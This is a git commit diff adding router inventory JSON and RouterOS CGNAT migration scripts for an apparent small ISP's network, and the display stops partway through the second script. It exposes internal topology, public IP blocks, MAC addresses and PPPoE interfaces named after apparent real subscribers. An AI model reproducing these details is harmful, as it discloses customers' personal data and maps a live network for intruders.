init
This commit is contained in:
commit
177a560cba
89 changed files with 72160 additions and 0 deletions
367
380_core_router_data.json
Normal file
367
380_core_router_data.json
Normal file
|
|
@ -0,0 +1,367 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.253",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2025-10-04T11:06:19.612193",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "204.110.191.185/30",
|
||||||
|
"network": "204.110.191.184",
|
||||||
|
"interface": "sfp-sfpplus1-edge-preseem",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.89/29",
|
||||||
|
"network": "10.250.1.88",
|
||||||
|
"interface": "ether5-climax",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.62/29",
|
||||||
|
"network": "10.250.1.56",
|
||||||
|
"interface": "ether4-newhope",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.191.181/30",
|
||||||
|
"network": "204.110.191.180",
|
||||||
|
"interface": "ether3-edge-direct",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.254.254.253/32",
|
||||||
|
"network": "10.254.254.253",
|
||||||
|
"interface": "loopback",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.2.6/29",
|
||||||
|
"network": "10.250.2.0",
|
||||||
|
"interface": "ether2-office",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.38/29",
|
||||||
|
"network": "10.250.1.32",
|
||||||
|
"interface": "ether1-982-60ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.54/29",
|
||||||
|
"network": "10.250.1.48",
|
||||||
|
"interface": "ether6-culleoka-11ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.11.254/22",
|
||||||
|
"network": "100.64.8.0",
|
||||||
|
"interface": "combo1-380",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.79.254/20",
|
||||||
|
"network": "10.10.64.0",
|
||||||
|
"interface": "vlan10_combo1",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.11.253/32",
|
||||||
|
"network": "100.64.11.183",
|
||||||
|
"interface": "<pppoe-luiscabrera>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.11.253/32",
|
||||||
|
"network": "100.64.11.174",
|
||||||
|
"interface": "<pppoe-mariacortes-1>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.11.253/32",
|
||||||
|
"network": "100.64.11.173",
|
||||||
|
"interface": "<pppoe-terrybates-1>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.11.253/32",
|
||||||
|
"network": "100.64.11.180",
|
||||||
|
"interface": "<pppoe-erinthompson>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.11.253/32",
|
||||||
|
"network": "100.64.11.177",
|
||||||
|
"interface": "<pppoe-brianhardesty>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "combo1-380",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:EF:AD:77",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether1-982-60ghz",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:EF:AD:78",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether2-office",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:EF:AD:79",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether3-edge-direct",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:EF:AD:7A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether4-newhope",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:EF:AD:7B",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5-climax",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:EF:AD:7C",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether6-culleoka-11ghz",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:EF:AD:7D",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 9000
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus1-edge-preseem",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "64:D1:54:EF:AD:76",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-brianhardesty>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-erinthompson>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-luiscabrera>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mariacortes-1>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-terrybates-1>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "loopback",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "0E:66:73:AA:10:86",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_combo1",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:EF:AD:77",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "vlan10_combo1",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "combo1-380"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": 380,
|
||||||
|
"interface": "combo1-380"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": [
|
||||||
|
{
|
||||||
|
"destination": "10.10.0.0/20",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.10.16.0/20",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.10.160.0/20",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.160.0/20",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.0.0/22",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.4.0/22",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "100.64.12.0/22",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.188.32/27",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.188.64/27",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.188.224/27",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "204.110.191.0/27",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.8/29",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.24/29",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.24/29",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.64/29",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.64/29",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.88/29",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.250.1.144/29",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.254.254.101/32",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.254.254.102/32",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"destination": "10.254.254.111/32",
|
||||||
|
"gateway": "10.250.1.94",
|
||||||
|
"distance": 1,
|
||||||
|
"comment": ""
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
78
380_edge_router_basic_data.json
Normal file
78
380_edge_router_basic_data.json
Normal file
|
|
@ -0,0 +1,78 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.254",
|
||||||
|
"timestamp": "2025-10-04T11:10:47.465125",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "71.41.226.118/30",
|
||||||
|
"network": "71.41.226.116",
|
||||||
|
"interface": "sfp-sfpplus12-spectrum",
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.191.186/30",
|
||||||
|
"network": "204.110.191.184",
|
||||||
|
"interface": "sfp-sfpplus11-preseem",
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.191.254/26",
|
||||||
|
"network": "204.110.191.192",
|
||||||
|
"interface": "vlan9_sfpplus8",
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.254.254.254/32",
|
||||||
|
"network": "10.254.254.254",
|
||||||
|
"interface": "loopback",
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.191.182/30",
|
||||||
|
"network": "204.110.191.180",
|
||||||
|
"interface": "sfp-sfpplus7-core-direct",
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.0.0.254/24",
|
||||||
|
"network": "10.0.0.0",
|
||||||
|
"interface": "sfp-sfpplus8-server-switch",
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.190.128/25",
|
||||||
|
"network": "204.110.190.128",
|
||||||
|
"interface": "cgnat",
|
||||||
|
"comment": "CGNAT pool"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus7-core-direct",
|
||||||
|
"type": "ether"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus8-server-switch",
|
||||||
|
"type": "ether"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus11-preseem",
|
||||||
|
"type": "ether"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "sfp-sfpplus12-spectrum",
|
||||||
|
"type": "ether"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "cgnat",
|
||||||
|
"type": "bridge"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "loopback",
|
||||||
|
"type": "bridge"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan9_sfpplus8",
|
||||||
|
"type": "vlan"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
325
494_router_data.json
Normal file
325
494_router_data.json
Normal file
|
|
@ -0,0 +1,325 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.111",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2025-10-04T10:57:42.536564",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "10.254.254.111/32",
|
||||||
|
"network": "10.254.254.111",
|
||||||
|
"interface": "loopback0",
|
||||||
|
"comment": "Loopback",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.65/29",
|
||||||
|
"network": "10.250.1.64",
|
||||||
|
"interface": "ether2-climax",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.188.94/27",
|
||||||
|
"network": "204.110.188.64",
|
||||||
|
"interface": 494,
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.64.175.254/20",
|
||||||
|
"network": "10.64.160.0",
|
||||||
|
"interface": 494,
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.175.254/20",
|
||||||
|
"network": "10.10.160.0",
|
||||||
|
"interface": "management",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/20",
|
||||||
|
"network": "100.64.160.0",
|
||||||
|
"interface": 494,
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.213",
|
||||||
|
"interface": "<pppoe-victoriaobier>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.212",
|
||||||
|
"interface": "<pppoe-stephenbeegle>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.210",
|
||||||
|
"interface": "<pppoe-mattkosarek>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.209",
|
||||||
|
"interface": "<pppoe-stevemolina>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.208",
|
||||||
|
"interface": "<pppoe-daycor>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.207",
|
||||||
|
"interface": "<pppoe-cathyday>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.206",
|
||||||
|
"interface": "<pppoe-olgagutierrez>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.205",
|
||||||
|
"interface": "<pppoe-ashleysmith>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.204",
|
||||||
|
"interface": "<pppoe-stephenday>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.202",
|
||||||
|
"interface": "<pppoe-donmckinney>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.214",
|
||||||
|
"interface": "<pppoe-joannarodriguez>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.211",
|
||||||
|
"interface": "<pppoe-kevinarana>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.175.254/32",
|
||||||
|
"network": "100.64.174.203",
|
||||||
|
"interface": "<pppoe-melodymccarty>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"interfaces": [
|
||||||
|
{
|
||||||
|
"name": "ether2-climax",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:DD:87:55",
|
||||||
|
"comment": "ether2",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:DD:87:58",
|
||||||
|
"comment": "ether5",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether6",
|
||||||
|
"type": "ether",
|
||||||
|
"mac": "DC:2C:6E:DD:87:59",
|
||||||
|
"comment": "ether6",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": 494,
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "DC:2C:6E:DD:87:58",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-ashleysmith>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-cathyday>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-daycor>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-donmckinney>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-joannarodriguez>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-kevinarana>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-mattkosarek>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-melodymccarty>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-olgagutierrez>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-stephenbeegle>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-stephenday>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1480
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-stevemolina>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "<pppoe-victoriaobier>",
|
||||||
|
"type": "pppoe-in",
|
||||||
|
"mac": "N/A",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1492
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "lo",
|
||||||
|
"type": "loopback",
|
||||||
|
"mac": "00:00:00:00:00:00",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 65536
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "loopback0",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "AE:B5:02:38:0E:73",
|
||||||
|
"comment": "Loopback",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "management",
|
||||||
|
"type": "bridge",
|
||||||
|
"mac": "DC:2C:6E:DD:87:58",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": "auto"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether5",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "DC:2C:6E:DD:87:58",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether6",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "DC:2C:6E:DD:87:59",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether5",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether5"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether6",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether6"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether7",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether7"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether8",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether8"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": 494,
|
||||||
|
"interface": 494
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": []
|
||||||
|
}
|
||||||
49
982_cgnat_migration_commands.rsc
Normal file
49
982_cgnat_migration_commands.rsc
Normal file
|
|
@ -0,0 +1,49 @@
|
||||||
|
# 982 Router CGNAT Migration Script
|
||||||
|
# Changes CGNAT from 100.64.32.0/22 to 100.64.48.0/20
|
||||||
|
# This gives 4x more addresses (1,024 -> 4,096)
|
||||||
|
#
|
||||||
|
# IMPORTANT: This will cause a brief service interruption
|
||||||
|
# Run during maintenance window
|
||||||
|
#
|
||||||
|
# Current: 100.64.32.0/22 (100.64.32.1 - 100.64.35.254)
|
||||||
|
# New: 100.64.48.0/20 (100.64.48.1 - 100.64.63.254)
|
||||||
|
|
||||||
|
# Step 1: Add new IP pool (do this first to prepare)
|
||||||
|
/ip pool add name=cgnat-new ranges=100.64.48.1-100.64.63.199
|
||||||
|
|
||||||
|
# Step 2: Add new IP address to the interface
|
||||||
|
/ip address add address=100.64.63.254/20 interface=982 comment="New CGNAT subnet"
|
||||||
|
|
||||||
|
# Step 3: Create new PPP profile pointing to new pool
|
||||||
|
/ppp profile add name=982-new local-address=100.64.63.253 remote-address=cgnat-new
|
||||||
|
|
||||||
|
# Step 4: Update PPPoE server to use new profile
|
||||||
|
/interface pppoe-server server set [find name=982] default-profile=982-new
|
||||||
|
|
||||||
|
# Step 5: Wait for existing sessions to reconnect (they will get new IPs)
|
||||||
|
# Monitor with: /ppp active print count-only
|
||||||
|
:delay 30s
|
||||||
|
|
||||||
|
# Step 6: Check that clients are getting new IPs
|
||||||
|
# /ppp active print brief
|
||||||
|
|
||||||
|
# Step 7: After confirming all clients have new IPs, remove old configuration
|
||||||
|
# WARNING: Only run these after confirming migration is successful!
|
||||||
|
|
||||||
|
# Remove old IP address
|
||||||
|
# /ip address remove [find address="100.64.35.254/22"]
|
||||||
|
|
||||||
|
# Remove old IP pool
|
||||||
|
# /ip pool remove [find name=cgnat]
|
||||||
|
|
||||||
|
# Remove old PPP profile
|
||||||
|
# /ppp profile remove [find name=982]
|
||||||
|
|
||||||
|
# Step 8: Rename new items to standard names
|
||||||
|
# /ip pool set [find name=cgnat-new] name=cgnat
|
||||||
|
# /ppp profile set [find name=982-new] name=982
|
||||||
|
|
||||||
|
# Step 9: Update any firewall NAT rules if needed
|
||||||
|
# Check with: /ip firewall nat print where src-address~"100.64.32"
|
||||||
|
|
||||||
|
# Step 10: Update NetBox documentation with new subnet
|
||||||
84
982_cgnat_migration_safe.rsc
Normal file
84
982_cgnat_migration_safe.rsc
Normal file
|
|
@ -0,0 +1,84 @@
|
||||||
|
# 982 Router CGNAT Migration Script - SAFE VERSION
|
||||||
|
# This version adds the new configuration alongside the old one
|
||||||
|
# Allows gradual migration without service interruption
|
||||||
|
#
|
||||||
|
# Migration: 100.64.32.0/22 -> 100.64.48.0/20
|
||||||
|
# Matches management subnet pattern (10.10.48.0/20)
|
||||||
|
|
||||||
|
# PREPARATION PHASE - Run these first
|
||||||
|
{
|
||||||
|
# Add new CGNAT pool with expanded range
|
||||||
|
/ip pool add name=cgnat-new ranges=100.64.48.1-100.64.63.199 comment="New /20 CGNAT pool"
|
||||||
|
|
||||||
|
# Add new IP address (keep old one for now)
|
||||||
|
/ip address add address=100.64.63.254/20 interface=982 comment="New CGNAT gateway /20"
|
||||||
|
|
||||||
|
# Create temporary PPP profile for migration
|
||||||
|
/ppp profile add name=982-migrate local-address=100.64.63.253 remote-address=cgnat-new comment="Migration profile"
|
||||||
|
|
||||||
|
# Print current state
|
||||||
|
:put "New CGNAT configuration added. Current state:"
|
||||||
|
/ip pool print where name~"cgnat"
|
||||||
|
/ip address print where interface=982
|
||||||
|
/ppp profile print where name~"982"
|
||||||
|
}
|
||||||
|
|
||||||
|
# TESTING PHASE - Test with one client
|
||||||
|
{
|
||||||
|
# Change one PPPoE client to test
|
||||||
|
# Replace 'testclient' with actual username
|
||||||
|
